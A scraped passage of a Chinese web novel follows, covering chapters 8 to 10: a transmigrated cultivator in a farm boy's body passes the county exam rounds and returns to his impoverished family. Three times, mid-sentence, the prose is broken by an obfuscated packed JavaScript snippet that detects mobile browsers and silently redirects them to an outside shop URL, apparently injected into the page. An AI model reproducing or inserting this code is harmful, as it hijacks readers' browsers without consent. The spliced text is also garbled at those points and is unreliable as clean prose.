若再落榜，怕是连回家的勇气都没了。 梅鹤时倒是从容，淡淡扫过周遭一张张焦灼的面孔，心中并无太多波澜。 他正场作答时字字斟酌，句句严谨，断无落榜的道理。 约莫一炷香工夫，考棚大门“吱呀”一声打开。 人群瞬间安静下来，成百上千双眼睛齐刷刷望过去。 放榜官身着藏青色官服，面容肃穆，于数名衙役簇拥下缓步而出。 他手捧覆着红绸的榜单，那抹红在灰暗天色的映衬下格外醒目，亦格外牵动人心。 梅鹤时正欣赏绵绵雨幕，忽听身后有人低声议论，言辞间满是推崇。 “听闻本次正场，郑兄文章写得甚是出彩。” “郑兄师从城中名士，根基扎实，此番定能稳占前列，怕是无人能与他争锋。” 不远处，身着锦袍的男子负手而立，闻言下颌微扬，眉宇间颇有些自得。 梅鹤时略微侧目，扫了那几人一眼，神色依旧淡然，并未放在心上。 放榜官行至照壁前，利落扯开红绸。 衙役上前，将榜单仔细张贴妥当。 在大庆朝，县试正场只定合格，不排名次。 红底黑字的榜单以辰时为始、申时为终，绕着中间硕大的“中”字，围成一个圆案。 “贴好了！” 衙役一声高喊，人群如决堤洪水般向前涌去。 油纸伞倒了好几把，惊呼声、推搡声混在一处，照壁前炸开了锅。 “中了！我中了！” 一名年轻考生瞧见自己的名字，欢呼着扔掉油纸伞，抱住同伴又哭又笑，雨水打湿衣衫也浑然不觉。 有人欢喜便有人愁。 一名中年考生扒着人群往前挤，手指在榜单上反复划过，从辰字方位查到申时方位，始终未见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525090|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的姓名。 他脸色逐渐惨白，眼神越来越空洞，最后双腿一软，瘫坐在湿漉漉的地上，嘴里反复念叨着“怎会不中”，声音里满是绝望与不甘。 梅鹤时仗着身量小巧，从人缝里灵活挤到前排。 雨丝沾湿了额前碎发，他却浑然不在意，指尖于数张圆案之间流连。 刘澄跟在他身后，挤得满头大汗，双眼跟着梅鹤时的手指移动，念叨声越来越急，心跳亦越来越快。 忽然，刘澄视线定住一处。 他一把扯住梅鹤时的宽袖，声音因激动而破音，在嘈杂人群中格外清晰：“中了！时哥儿你中了！辰字二十三号，梅鹤时！是你的名字！” 梅鹤时顺着他手指的方向看去，辰字方位第二十三个名字，“梅鹤时”三个字赫然在目。 少年眉眼轻轻漾开，唇角勾起一抹浅淡笑意。 刘澄激动地拍着梅鹤时的肩膀，力道颇大，嘴里不停念叨：“太好了时哥儿，我就知道你肯定能行！” 他的欢喜真切无比，比自己考中还要激动，引得周遭人纷纷侧目。 “他便是正场那日第一个交卷的孩子吧？没想到他竟真的中了，后生可畏啊！” “小小年纪便如此沉稳，文章定然不俗。” 郑兄听得褒赞之言，微不可察蹙起眉头，眼底掠过一丝不悦。 他斜睨了梅鹤时一眼，见其衣着朴素，分明是寻常农家子弟打扮，心中更是不以为然。 侥幸过关罢了，农家子粗读几本书，也配与他等相提并论？ 人群后方，几双眼死死盯着榜单上“梅鹤时”三个字。 长脸考生撑着伞僵在原地，手指抠着伞柄，指节泛白，眼中满是难以置信。 他怎么也想不到，那个被他嘲笑年纪小，注定落榜的少年，竟真的中榜了。 满脸痘痕的考生也傻了眼，张了张嘴，却发不出半点声音，脸上满是错愕与难堪。 那日他们几人围在一起，笑梅鹤时肚子里没货，连八股文规矩都没摸透，便跑来考场充数。 可此刻，圆案上“梅鹤时”三个字，如一记响亮的耳光，狠狠扇在他们脸上，火辣辣的疼。 看着前排被同年围着道贺的清隽少年，先前的嚣张与轻视荡然无存，只恨不得找个地缝钻进去。 “正场而已，后面还有四场，考上童生才是真本事。” 几人暗中交换个眼神，长脸考生嘴硬一句，连伞都顾不上撑，便偷偷溜走了。 刘澄很快在圆案上寻到自己的名字，高兴得合不拢嘴，好一阵手舞足蹈。 稍稍平复后，他揽住梅鹤时的肩膀：“前头巷口有家烧饼摊子，他家烧饼酥到掉渣，可谓物美价廉，咱们去买两块，庆贺一同中榜可好？” 梅鹤时笑着应了声好。 他撑开油纸伞，与刘澄并肩转身，将身后嘈杂与艳羡目光尽数抛在身后。 8. 008 梅鹤时与刘澄行至巷口摊前，花两文钱买了两块烧饼。 刚出炉的酥皮金黄松脆，醇厚面香揉着芝麻焦香，在雨气里弥漫开来，勾得人食指大动。 刘澄狠狠咬下一大口，酥渣簌簌落在衣襟上，他却浑然不顾，唇角高高扬起，连咀嚼都透着藏不住的欢喜与满足。 笑弧未落，他眼眶一红，眼泪毫无预兆砸下。 刘澄嘴唇颤抖两下，忽的捂住脸蹲下身，双肩起伏：“这几日，我每夜都梦见自己落榜，惊醒后再无睡意，睁眼到天明。” “第三次了啊......”他喉头哽咽，哭声压抑，“这些年，爹娘省吃俭用，倾尽所有供我读书，妻儿守着空房盼我归家。我日夜苦读，背到眼发花，写到手抽筋，从不敢懈怠，唯恐再一次落空......” 雨丝打湿发顶，他浑然未觉，只紧紧攥着半块未吃完的烧饼，又哭又笑，像个终于卸下千斤重担的孩子。 梅鹤时静立一旁，为他撑伞遮雨，半晌缓声道：“刘兄，你中了。” 刘澄霍然抬首，脸上泪迹纵横，却笑得无比敞亮，重重点头：“没错，我中了！” 正场定生死，此番登榜，已是半只脚踏入府试。 往后只需循序而进，前程便有了真切盼头。 刘澄抹了把脸，捡起油纸伞，与梅鹤时并肩走在青石板上，脚步轻快得几乎要飘起来。 ...... 回到客房，梅鹤时摒去外界纷扰，心念一动，踏入万界图书馆。 轻触玉牌，取来典籍墨册，对照历年考题拆解章法，伏案刷题演练，退出后又借着油灯复盘良久，直至深夜才安心歇下。 正场登榜的欢喜未散，便迎来第二场。 当日寅时初，梅鹤时于号炮声中起身，掬冷水洗面，驱散睡意，闪身进入图书馆。 六个时辰弹指即过，刚退出来，门外便响起急促敲门声。 “时哥儿，起了没？” “起了。” 梅鹤时更衣洗漱，下楼用了朝食，与刘澄踏着夜色奔赴考棚。 考棚外灯火连绵，考生手提考篮，汇成条条长龙。 衙役持棍来回巡守，胥吏端坐案前，对照点名册高声唱名。 不多时，便轮到梅鹤时。 那胥吏抬眼一瞥，瞧见少年清俊的眉眼，执笔右手顿在半空，眼底掠过明显的惊色。 正场点名时，他便对这个年仅十岁、身形单薄的少年印象极深。 彼时只当他年幼不懂事，跑来考场凑热闹，多半连考题都看不懂，必是第一场便要落榜的。 可眼下再见，此人竟已踏入覆试之列！ 胥吏愣怔半晌，似是难以置信：“梅鹤时......你、你首场通过了？” 梅鹤时躬身一揖：“托大人福，侥幸通过。” 胥吏再不敢有半分轻慢，提笔在他名字上重重一圈。 小小年纪便有这般才学，来日前程定然无可限量。 “去搜检吧，好生应考。” “谢大人。” 梅鹤时颔首致意，拎起考篮，稳步走向搜检官。 搜检流程与正场别无二致，悉数检验完毕后，顺利进入考棚，领取考卷与座号考引，轻车熟路去寻号房。 为防舞弊，每场皆要重新排座。 梅鹤时本场为四十九号，虽不是臭号，依旧狭小简陋，难御风寒。 桌板更是坑洼不平，伏案作答多有不便，于身心皆是一番煎熬磨折。 辰时已至，钱县令封印大门。 “咚——” 悠长钟声回荡，景泰十年县试第二场，正式开考。 ...... 本场考题共三，四书一题出自《论语》“君子不重则不威”，孝经一题为“夫孝，始于事亲”，第三道为默写《圣谕广训》一则。 梅鹤时先从默写入手，运笔间文思顺畅，不过片刻便一气呵成。 检查无误后，作答孝经题。 他紧扣题干立意，阐释孝道始于事亲奉长，立身修德、安亲省心，方为孝之本。 三百字文章一挥而就，正欲加以润色，斜侧方一名考生忽然直挺挺栽倒在桌板上，考卷散落一地。 衙役闻声赶来，一探额头，只觉灼热烫手，当即寻来木板，将人抬出考场。 昏沉间，那考生仍喃喃道：“考题......我还能答......” 周遭考生见状，危机感陡增，皆伏案疾书。 梅鹤时长吐一口寒气，拢紧衣领，细致润色完孝经文稿，着手破四书题。 纵览题干后，他忆起两日前曾做过同类题型，稍加思索，便从“君子持重方有威仪，治学当沉稳戒躁”展开论述。 四百字文章定稿，润色全篇，将三道题一并誊至考卷，拉动小铃交卷。 铃声清响，引得周遭考生纷纷侧目。 不远处号房内，郑兄循声望去，见是最年幼的那名考生，面色微沉。 他素来自负才学，从未将这农家稚童放在眼里。 可对方竟又一次早早交卷，令他心底升起一丝危机感。 只一瞬，又嗤之以鼻。 此人再如何聪颖，终究是个寒酸农家子。 出身卑贱，根基浅薄，根本不配与自己相争。 ...... 县试每场考完皆发案，一场一榜，逐场淘汰。 榜上有名方能续考，落榜者即刻离场。 梅鹤时底蕴充盈，又有万界图书馆加持，几日后初覆发案，他的名字稳稳列在红案之上。 翌日，第三场开考。 本场考察试帖诗、经论与律赋，较其余场次更为繁复严苛。 试帖诗讲究平仄、押韵、对仗，一字不合便有可能落榜。 经论需阐明经义，不可偏离圣贤本意。 律赋则最重格律辞藻，最耗心力。 于普通考生而言，极易因韵律不谐、辞不达意而出错。 所幸梅鹤时本就精于诗赋，又有万界图书馆梳理经论，研习律赋，只需按部就班，便可平稳应对。 可意外偏在此时发生。 号房四面透风，寒气入骨，开考不过半个时辰，梅鹤时便觉浑身发冷，额头滚烫，喉间更是奇痒难耐，连声咳嗽不止。 他忙以袖掩口，强按住咳意，指尖因高热微微发颤，握笔都有些虚浮。 头晕目眩间，几次险些错漏字句，只得闭目调息片刻，再继续落笔。 几番忍耐下，硬是凭着过人定力，一字不苟答完三道题。 交了卷，梅鹤时直奔附近医馆。 大夫诊脉，道是寒邪入体、积热不散，开了副发汗解表的药方，又为其针灸。 回客栈煎药服下，裹着厚被闷出一身大汗，昏昏沉沉睡了七八个时辰。 再醒来，高热已退，喉间亦清爽许多，只是身子仍有些虚软。 又连服两副药，风寒才彻底痊愈，精气神亦恢复大半。 第四场考诗赋与骈文，难度略低于第三场，重在考察文字功底。 两场皆为筛选考试，不苛求惊艳，只求稳妥无错。 梅鹤时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525091|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大病初愈，体力尚未完全恢复，握笔时指尖仍有些虚浮，写不了几句便要停笔调息。 好在他久经考场，心态沉稳，即便气力不济，也依旧强忍不适，沉心作答，两场皆顺利过关。 第五场考经文与算学，虽非偏题难题，却最考验功底与细心。 经文重在默记准确、释义醇正，不可妄解圣贤。 刚默写完经文，隔壁号房传来焦躁的低咒声。 那考生对着考卷苦思良久，一题未解，心中又急又恼，眼见左右考生皆在埋头作答，竟生出一丝歹念。 横竖自己县试无望，旁人也别想安稳应试！ 他用手肘猛撞隔板，又用笔杆敲击桌板，发出“咚咚”声响。 隔板震动，梅鹤时眉头紧蹙，却因考场时间紧迫，答题要紧，并未发作。 那人见梅鹤时隐而不发，便认为他软弱可欺，愈发变本加厉。 考官路过便立刻停手，装模作样答题，考官一走便故态复萌。 周遭几间号房的考生俱是面露烦躁，紧握手中毛笔，侧目怒视那人。 经文作答完毕，隔壁滋扰仍未停止。 梅鹤时不再隐忍，抬手拉动小铃。 巡场考官快步赶来：“何事喧哗？” 梅鹤时拱手道：“大人，隔壁号房之人屡次敲击隔板，敲打桌案，蓄意扰乱考场秩序。学生再三容忍，他却变本加厉，唯恐耽误应试，特来禀告。” 四周号房的考生纷纷出言作证。 那考生没想到梅鹤时几人竟这般硬气，面色微白，忙急声辩解：“大人，我没有！” 考官凌厉目光扫向他，斥道：“多人作证，岂容你狡辩？考场规矩森严，敢扰人答题，记大过一次。再犯即刻逐出，永不许参加本届县试！” 那考生噤若寒蝉，低头不敢再言。 梅鹤时谢过考官，伏案演算算学题，两遍核验无误，将经文与算学一并誊至考卷，再度提前交卷。 ...... 至此，县试五场全部考毕。 考生们走出考棚，个个面露疲态，如释重负。 梅鹤时与一众同年相交不深，回客栈梳洗一番，便往大堂用饭。 一碗饭刚下肚，刘澄回来了。 连日应考，刘澄熬得面色憔悴、眼窝深陷，瘫坐在梅鹤时对面，气若游丝：“时哥儿，你每场都早早交卷，说不定能夺案首。” 他话音刚落，便有一道冷嗤从旁侧传来。 长脸考生抱臂冷笑，语气带着酸意与轻蔑：“少年天才历来少见，莫要把话说得太满。” “前四场上榜，不代表能拿案首。” “县令大人亲评，考官联名复核，诗赋经义、算学默写样样皆要拔尖，容不得半分差池。” 同行的方脸考生撇嘴嗤笑，语气更为刻薄：“不过是有几分小聪明罢了，全县苦读数十载的考生比比皆是，哪轮得到一个黄毛小儿拔得头筹？” 刘澄气得面红耳赤，撸起袖子便要上前理论，却被梅鹤时按住手臂。 梅鹤时抬眼，一派云淡风轻：“县试名次非口舌争来，诸位静候放榜便是。” 说罢，他无视那几人一拳砸在棉花上的憋屈脸色，拉着刘澄往二楼去。 考棚周边的客栈地价高昂，房费不菲，距离县试放榜还有不少时日，梅鹤时便同刘澄商议：“多住一日便多一份花销，不如暂且回村等候。” 刘澄深以为然：“待到放榜之日，若有喜讯，衙役自会登门报喜。” 二人便回客房收拾行李，踏上返回太平村的路。 9. 009 傍晚夕阳斜照，将城外官道染成一片暖金色。 一路行来，刘澄心中牵挂家中妻儿，越走越是归心似箭。 行至半途，他忽然驻足，颇不好意思地挠了挠头：“时哥儿，我实在惦念家人，便不与你同行了，先回村报个平安。” 梅鹤时颔首，应得爽快：“去吧，路上小心。” 刘澄拱了拱手，快步而去，只余梅鹤时独自前行。 徒步半个多时辰，双腿酸痛难忍，脚下的路总算从官道变为崎岖土路。 抬眼望去，前方不远处已能隐约瞧见太平村的轮廓。 错落屋舍连成一片，依稀能瞧见村口的老槐树，以及往来走动的村民身影。 梅鹤时放缓脚步，眼底闪过一丝异色。 他前世双亲早亡，伶仃一人，吃百家饭长大，无论求学还是修行，皆是独来独往，不知何为家人牵挂。 如今所有关于亲情的暖意，届时从原主记忆里得来。 爷奶的疼惜，阿娘的殷切，弟妹的敬慕，桩桩件件无比真切，却没有一分是他亲身经历过的。 仿佛隔着一层薄纱看旁人的人生，近在眼前，却与自己全然无关。 记忆越暖，他越觉陌生，着实不知该如何与梅家众人相处。 梅鹤时轻叹一声，压下心头纷乱，继续赶路。 有些事避无可避，只能试着面对。 ...... 行至村口，忽见老槐树下立着一老妪。 她鬓发皆白，松松挽了个低髻，几缕碎发被晚风拂在颊边，面上沟壑纵横，眉目却温和。 一身粗布短褐洗得发白，腰间系着半旧的蓝布襜衣，手里还攥着个缝了一半的布帕。 见梅鹤时望过来，老妪快步上前，一把将他紧紧抱住，声音哽咽：“时哥儿，你可算回来了！前几日你在考场出事，阿奶心都悬在嗓子眼，日夜烧香，生怕你有个好歹......” 梅鹤时面上平静，无波无澜，只下颌极轻地绷紧了一瞬。 他知晓这是关切，是原主习以为常的疼爱。 可落在他身上，只让他浑身不自在，连呼吸都放轻几分。 良久，梅鹤时才轻声开口：“阿奶，我无恙。” 梅老太攥着他的手腕不肯松开，掌心粗糙温热，力道却极紧，生怕他凭空消失一般。 梅鹤时被她牵着，手臂僵直，却不曾挣开，任由老人拉着，一步步往村尾走去。 梅家坐落于太平村最深处，四间黄泥房挤在一处，墙皮剥落、处处开裂，被风雨侵蚀得破旧不堪。 东屋窗外栽种着一棵老柿子树，枝桠遒劲，新叶抽芽。 西屋旁开辟出一方菜地，泥土松软，种着青菜、小葱，长势喜人。 可即便收拾得还算齐整，也遮不住满眼的简陋与贫寒。 “时哥儿！” 梅鹤时刚被梅老太牵至家门口，尚未站稳，便见一道身影快步走来。 云恩玉眼眶泛红，脸上又是欢喜又是心疼，不待梅鹤时反应，便伸手一把搂住他。 温软怀抱带着清新的皂角香气，是原主记忆中最安心的味道。 梅鹤时却浑身僵硬，背脊绷得笔直，双手垂落身侧，心底那股不自在几乎要漫溢出来。 他不习惯这般亲近，更不习惯如此毫无保留的牵挂，只能一动不动，任由云恩玉抱着，半晌才低声应了句：“阿娘。” 云恩玉轻抚幼子脸颊，替他取下沉甸甸的书箱：“几日未见，时哥儿清减了许多。我本打算进城一趟，给你送些衣物吃食，只是王公桥昨日才建好，路途不便......” 话音未落，柿子树后蹦出个虎头虎脑的男童，一头扎到梅鹤时跟前。 人还未站稳，便扬声嚷嚷：“阿兄！” 他身后紧跟着个眉清目秀的小女童，一双眼亮得像浸了光：“阿兄，你是没瞧见，那日王公桥突然就塌了，轰隆隆可吓人。” “三堂叔说，你派来的差爷差点掉水里去，被差爷抓去的那个坏蛋吓得哇哇大叫，可好玩儿了！” 她笑得眯起眼，小短腿一顿，挥舞着拳头，凶巴巴地补充：“还有翠姐儿她哥，他简直太可恶了，竟敢欺负阿兄。” “阿爹说过，兄债妹偿。我已经替阿兄狠狠揍了她一顿，揍得她嗷嗷直喊娘，如今见了我撒腿就跑哩！” 说完仰着下巴，一脸“快夸我厉害”的得意表情。 梅鹤时瞧着小女童鲜活灵动的模样，不禁莞尔，心头的不自在淡去几分。 “诶呦，时哥儿你可算回来了！”比云恩玉略年轻些的圆脸妇人从灶房里钻出来，大嗓门噼里啪啦，跟放爆竹似的。 “文章写得如何？这次县试应该能捞个名次吧？” 梅二婶两眼放光，语气热络，字字句句皆绕着科举：“最好考个第一，咱老梅家可就指望时哥儿你光宗耀祖了，顺便杀一杀徐桃花那贱人的威风......” 梅老太横了她一眼，强势打断：“差不多得了，赶紧做饭去。” 梅二婶不死心，直溜溜盯着梅鹤时。 一大家子勒紧裤腰带，供这么个宝贝蛋读书，可别到头来一场空，什么也没捞着。 梅鹤时轻描淡写道：“尚可。” 梅二婶还欲追问，梅老头清了下嗓子，烟杆敲凳子腿：“时哥儿连考几日，又一路奔波，先进屋歇着吧，饭好了再叫你。” 梅鹤时微微颔首，循着记忆走进东屋。 刚一迈进门，一股陈腐霉味扑面而来。 屋子狭小逼仄，四壁斑驳，墙皮早已剥落得坑坑洼洼，露出底下暗黄的土坯。 屋内陈设简陋得近乎寒酸，靠窗是一铺土炕，炕席磨得发亮，边角都起了毛。 炕旁立着一只旧木柜，漆面剥落，木纹干裂，柜腿被岁月压得略微倾斜。 窗下横放一张缺了角的方桌，虽有磨损，却收拾得干净。 桌上摆着笔墨纸砚，几册线装书本压在一角，纸页泛黄，却无半分尘垢，看得出主人时常翻阅。 最为醒目的，是木柜正中的两方牌位。 牌面虽旧，字迹却工整清晰，一笔一划写着—— 梅兴祖之位。 梅鹤昂之位。 梅鹤时放下书箱，转身发现门旁并排坐着两个小娃娃。 女娃白白胖胖，像是年画里的娃娃，怯生生地偷偷打量他。 男娃又瘦又小，眼神木木地盯着地面，像只呆鹅。 梅鹤时望着眼前二人，梅家这些年的人丁起落，如潮水般涌上心头。 梅老头早年是个猎户，身手利落，靠打猎攒下一笔不菲家底。 不仅盖了砖瓦房，置办十余亩水田，还供出原主阿爹——梅兴祖这个秀才。 可惜造化弄人，八年前，梅兴祖前往应天参加乡试，正巧赶上某位皇子奉旨查案。 他被皇子随从的马当街踹中胸膛，自此一病不起。 梅老头掏空家底，变卖砖瓦房与水田，却未能救他性命，只能眼睁睁看着他吐血而亡，梅家也跟着败了。 梅兴祖病逝后，长子梅鹤昂应征从军，去年战死沙场，发妻也跟着抑郁而终，只留下一双儿女。 便是眼前这两个小娃娃。 梅兴祖有一兄弟，名为梅兴业。 那是个游手好闲的二流子，终日无所事事，四处闲逛，家中一应事务全靠云恩玉与妯娌操持。 他与梅二婶育有一儿一女，便是先前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525092|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两个古灵精怪的孩童。 ...... 梅鹤时数百年孑然一身，从不知“家”是何滋味。 如今一睁眼，便撞进这样一个支离破碎，却又蕴着暖意的家。 梅鹤时指尖拂过桌角磨损的木纹，将歪斜草纸的边角对齐，眼底平静依旧，只心底那层薄纱似的隔阂，竟被这满室苍凉戳开了一道缝隙。 他并非原主，却占了原主的身体，承了原主的性命。 这份因果避无可避，更无法推卸。 - 约莫半个时辰，门外传来云恩玉的声音：“时哥儿，寅哥儿蘅姐儿，赶紧出来，吃饭了。” 梅鹤时站起身，拍了拍衣摆上的尘土，回首再看那两方牌位，眼底已多了几分沉定。 往外走时，身后多了两只手牵着手的小尾巴，亦步亦趋，像是两只黏人的小雀儿。 梅鹤时眉眼柔和一瞬，刚踏出东屋，便听见一阵拖沓脚步声，伴着酒气扑面而来。 梅老二在外鬼混回来，见梅鹤时立于东屋门口，先是愣了下，随即堆起满脸笑：“时哥儿回来了？这一路累不累？考得如何？能得第一不？” 梅鹤时迎上梅老二浮肿的脸，微不可察拧了下眉，淡声道：“一路尚且安稳，不算劳累。考题皆已答完，至于名次，静待放榜便是。” 梅兴业被他冷淡态度堵得一噎，脸上的笑僵了瞬，随口打个哈哈混过去，晃悠着钻进灶房，嘴里还嘟囔着讨水喝。 梅鹤时垂眸看了眼腿边的两个孩子，去灶房端碗拿筷。 夕阳收敛最后一抹余晖，一家十口分两张桌落座。 粗瓷碗里盛着糙米饭，配着新割的春韭与清炒荠菜，边上搁着一小碟腌肉。 对捉襟见肘的梅家而言，腌肉是极为难得的好东西。 梅老二眼馋得紧，筷子一伸便要去夹。 手还没碰到碟子边，“啪”一声脆响，被梅老太用筷子狠狠敲了手背。 “馋不死你！”梅老太气不过，又敲他一下，“时哥儿在城里受苦受累，瘦得脱了形，这肉是给他补身子的，你也配抢？” 梅老二疼得缩手，讪笑两声，扒拉着碗里的米饭，满心不忿却不敢发作。 梅老太瞪了眼不成器的儿子，夹两块最肥的腌肉，稳稳放进梅鹤时碗里。 她眼角皱纹挤在一处，满眼皆是疼爱：“考试费脑子，吃点荤腥补一补。” 梅鹤时握着竹筷的手微顿，唇线轻抿，勾起浅淡弧度：“多谢阿奶。” 咸香入口，顺着喉间落下，竟比他吃过的任何珍馐都更熨帖心肠。 用过夕食，云恩玉和梅二婶收拾碗筷，梅老头坐在门槛上抽着旱烟，两个小娃娃趴在桌边玩石子。 梅鹤时想要搭把手，却被梅老太推开：“不用你沾手，快去屋里歇着，身子要紧。” 无奈之下回到东屋，随手取过桌上一册旧书。 那是梅兴祖生前常读的书，纸页泛黄，边缘磨损，每一页都写满密密麻麻的批注。 墨色深浅不一，一笔一划皆是经年苦读的心血。 梅鹤时指尖轻拂过那些小字，借着夕阳余晖，安静翻看。 就在此时，隔壁突然爆发出一阵尖利的哭骂，隔着土墙狠狠撞过来。 “我可怜的文哥儿啊，被梅家那个小畜生毁了前程，老娘要宰了他......” 摔盆砸碗的脆响跟着响起，打破夜间静谧。 梅鹤时垂眸默读批注，连眉头都未皱一下，心底更无半点波澜。 陈耀文栽赃在前，造谣在后，意图害他性命、毁他全家，如今落得这般下场，皆是罪有应得。 倘若陈家人因此登门寻衅，他绝不会退让半分。 10. 010 暮色四合，炊烟散尽，各家用过夕食，夜间无事可做，便早早关门闭户，熄灯安歇。 整个村子静得只剩风声，偶有几声犬吠，转瞬便被沉沉夜色吞没。 梅鹤时简单洗漱后，合衣侧卧土炕最靠右的那头。 泥墙四面冰凉，即便烧了炕，暖意也只浮在表面，驱不散骨子里的冷。 隔壁飘来断断续续的哭骂声，梅鹤时眉头微拧，正欲翻身，侧旁忽然响起细碎窸窣。 下一瞬，怀里滚进一团软绵。 小女娃抱住他的腰，脑袋往他怀里一埋，咂咂嘴睡得香甜。 温热吐息落在衣襟上，软得像一团云。 梅鹤时已有多年不曾与这般年幼的孩童亲近，那股不自在又浮上心头。 可怀中暖意真切，竟让他紧绷的肩背一点点松了下去。 梅鹤时维持原本的姿势，半侧着身，放任小娃娃抱着自己。 他阖上眼，任暖意氤氲流淌，缓缓沉入梦乡。 ...... 陷入浅眠后，梅鹤时梦见了原主。 月光下，少年日复一日伏案苦读。 因家贫买不起笔墨草纸，只能用手指在木板上一遍遍描摹、刻写。 指尖磨得破皮流血，仍不肯松懈半分。 陈旧牌位前，少年一双眸子亮得惊人，盛满不甘与执拗，亦有藏不住的希冀。 “我要考科举，我要出人头地！” 他要让爷奶阿娘过上好日子，再不必受人冷眼欺凌。 话音未落，梦境陡然一变。 搜检官从考篮中翻出暗藏的夹带，少年面色惨白，竭力辩解。 周遭官吏冷眼相向，谁也不肯信他半句。 一纸罪名扣下，棍棒如雨般落在身上，生生打断他的双腿，碾碎他的功名路。 苦熬数月，却闻得家破人亡噩耗，听着狱卒夸赞陈耀文的风光，在阴冷牢狱中含恨而终。 ...... 少年眼中恨意滔天，如万丈巨浪撞在心头。 梅鹤时猝然惊醒，窗外仍是漆黑，屋内静得落针可闻。 他浑身冷汗涔涔，胸膛剧烈起伏，心跳如雷。 云恩玉被细微响动惊醒，原以为是两个小的，不料竟是从幼子那处传来。 她睁着惺忪睡眼，支起身子问：“时哥儿，怎么了？” 梅鹤时拭去额头冷汗，压下心底翻涌的情绪，微微摇头：“无事，阿娘睡吧。” 云恩玉不再多问，手臂越过熟睡的蘅姐儿，掌心抚过幼子脸颊，似在安抚，又为三个孩子掖好被角，方才酣然睡去。 梅鹤时抿了下唇，挪开蘅姐儿攥着他衣襟的小手，悄然放平身子，望着结满蛛网的破败木梁，睡意全无。 - 天刚蒙蒙亮，云恩玉便醒了。 悄无声息起身穿衣，扭头望向炕上，两个小的睡得四仰八叉，脸蛋红扑扑，时哥儿面朝泥墙蜷缩着，露出一截清瘦脊背。 云恩玉瞧着心疼，上前掩好被角，不漏一丝风，带上门轻手轻脚出去。 梅老太坐在门口梳头，见了云恩玉便问：“时哥儿还睡着？” 云恩玉低声道：“夜里睡得不太安稳，惊醒一回，脸上汗津津的，想来是忧心县试......” 梅老太用头巾裹好发髻，木梳揣进襜衣，不知想到什么，眼底闪过水光，半晌幽幽长叹：“待会儿让他爷留只山鸡野兔什么的，给时哥儿补补身子。” 云恩玉欸一声，拎起檐下菜篮进灶房，轻车熟路生火起灶。 夫君亡故后，梅家从村里数一数二的殷实门户，到如今只余几亩薄田度日。 平日里全靠公爹打猎补贴家用，她与婆母也做些针线活，缝衣纳鞋，换些零碎铜钱，勉强支撑一家老小的吃用开销。 今日公爹照旧要进山打猎，云恩玉记挂农事，打算去地里查看一番。 为一家老小准备好朝食，她又给梅老头收拾进山的干粮与水囊。 这时候，梅二婶也起了，倚着门好一阵哈欠连天，去灶房摸个窝头，几口下肚，坐在菜地旁洗衣服。 几个妇人忙得热火朝天，饭菜香气顺着门缝涌入东屋。 蘅姐儿哼哼两声，半个身子趴在枕头上，摸着肚皮嘴里咕哝：“阿兄。” 睡在最里头的寅哥儿闭着眼，接住滚过来的蘅姐儿，慢吞吞应一声。 “阿兄。” “嗯。” “蘅姐儿饿。” 寅哥儿睁开眼，眼珠子黑黝黝，木讷呆滞。 再有脑袋上翘起的一撮头发，莫名透着股喜感。 梅鹤时坐起身，倾身取来絮袄穿上。 絮袄里面填充了芦花，上身轻飘飘，力道稍重些，便有飞絮飘出。 待他穿戴齐整，两个小的也下炕了。 寅哥儿搬来小板凳坐着，要给蘅姐儿梳头。 小女娃一头软发乱糟糟缠在一处，寅哥儿手上笨拙，扯了好几下也没能梳顺，反倒弄得她头皮生疼。 蘅姐儿泪珠子在眼睛里头打转，扁起小嘴，颤巍巍地喊：“阿奶。” 寅哥儿面无表情：“阿奶在做朝食。” 蘅姐儿用短胖胳膊抱住脑袋，拼命摇头，两颊奶膘乱晃，嫌弃溢于言表：“不要阿兄。” 寅哥儿盯着她，不吭声。 蘅姐儿鼓起脸，水润眼眸不甘示弱地盯回去。 梅鹤时见蘅姐儿一副可怜兮兮的模样，迟疑须臾道：“过来，我替你梳。” 蘅姐儿呆了下，往寅哥儿身后挪，像只怕生的雏鸟。 梅鹤时知晓两个小的正月里才回梅家，他又不是什么和善人，鲜少展露笑颜，只放缓声线：“梳个花苞髻可好？” 寅哥儿定定看他几眼，让出位置。 梅鹤时接过木梳，一点点将蘅姐儿蓬乱的发丝理顺。 寄人篱下的滋味并不好受。 吃百家饭的那些年，村民忙于农事，梅鹤时便为他们照看孩子。 梳头这般小事，他早已烂熟于心。 思及幼时，梅鹤时又想起前阵子回村祭拜先祖，那些孩子的重孙皆已垂垂老矣。 反倒是他，面容一如当年。 若他不曾渡劫，想来过不多久也要送走他们。 一如数百年前送走他们的先祖。 梅鹤时将发丝挽成花苞髻，正中位置别上两朵粉色绢花，将合拢花瓣捻开，呈盛放姿态。 “好了。” 